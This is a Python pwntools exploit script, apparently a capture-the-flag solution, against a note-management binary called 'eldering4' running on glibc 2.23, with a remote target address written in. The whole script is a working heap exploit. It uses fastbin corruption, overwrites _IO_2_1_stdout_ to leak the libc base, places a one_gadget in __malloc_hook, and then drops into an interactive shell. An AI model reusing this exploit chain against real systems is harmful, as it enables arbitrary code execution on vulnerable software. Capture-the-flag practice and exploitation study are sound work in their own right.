1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| from pwn import * import inspect context.terminal = ['tmux','splitw','-h']
def payload(lo:int): global sh if lo: sh = process('./eldering4') if lo & 2: gdb.attach(sh, gdbscript='p /x &_IO_2_1_stdout_') else: sh = remote('139.224.232.162', 31630) libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6') elf = ELF('./eldering4')
def eofHandler(): warn(f'eof detected! running line {inspect.stack()[2][2]}') if sh.can_recv(): info(str(sh.recv())) sh.close() return None
def addPage(): sh.sendlineafter(b'>', b'1')
def delPage(page:int): sh.sendlineafter(b'>', b'2') sh.sendlineafter(b'page', str(page).encode())
def addNote(page:int, size:int, content:bytes=b'\n') -> bytes: sh.sendlineafter(b'>', b'3') sh.sendlineafter(b'to?\n>', str(page).encode()) sh.sendlineafter(b'size:\n>', str(size).encode()) sh.sendafter(b'tent:\n>', content) try: ret = sh.recvuntil(b'success!', False, 1) except EOFError: return eofHandler() if not ret: return eofHandler() elif ret[:1] == b'\n': ret = ret[1:] return ret
def delNote(page:int, note:int): sh.sendlineafter(b'>', b'4') sh.sendlineafter(b'>', str(page).encode()) sh.sendlineafter(b'>', str(note).encode())
chunkHead = elf.symbols['stdout'] - 0x2b wStdoutOffset = (libc.symbols['_IO_2_1_stdout_'] - 0x43) & 0xfff if lo & 4: bruteByte = int(input('input last WORD of &_IO_2_1_stdout_: 0x'), 16) & 0xf000 else: bruteByte = 0x4000 wStdoutOffset += bruteByte bStdoutChain = (libc.symbols['_IO_2_1_stdout_'] + 0x68) & 0xff
addNote(0, 0x20) addNote(0, 0x20) addNote(0, 0x20) addNote(0, 0x20) addNote(0, 0x20) delNote(0, 1) delNote(0, 2) delNote(0, 3) delNote(0, 4) delNote(0, 5)
addNote(0, 0x88) addNote(0, 0x68) addNote(0, 0x88) addNote(0, 0x8) delNote(0, 1) delNote(0, 2) addNote(0, 0x68, b'0'*0x60 + p64(0x100) + p8(0x90)) delNote(0, 3) delNote(0, 5) addNote(0, 0x98, b'0'*0x88 + p64(0x71) + p64(chunkHead)) addNote(0, 0x68) addNote(0, 0x68, b'\0'*0x3 + p64(0)*2 + p64(0x71) + p16(wStdoutOffset)) delNote(0, 5) delNote(0, 6)
addNote(0, 0x98, b'0'*0x88 + p64(0x71) + p64(chunkHead + 0x1b)) addNote(0, 0x68) addNote(0, 0x68) ret = addNote(0, 0x68, b'\0'*0x33 + p64(0xfbad1800) + p64(0)*3 + p8(bStdoutChain)) if ret is None: return 0
stdin = u64(ret[:6] + b'\0\0') libcBase = stdin - libc.symbols['_IO_2_1_stdin_'] success(f'\x1b[33mleak libcBase: {hex(libcBase)}\x1b[0m') mallocHook = libcBase + libc.symbols['__malloc_hook'] ogg = libcBase + 0xf0897
delNote(0, 9) delNote(0, 8) addNote(0, 0x98, b'0'*0x88 + p64(0x71) + p64(mallocHook - 0x23)) addNote(0, 0x68) addNote(0, 0x68, b'\0'*0x13 + p64(ogg)) addPage()
sh.clean() sh.interactive() return 1
|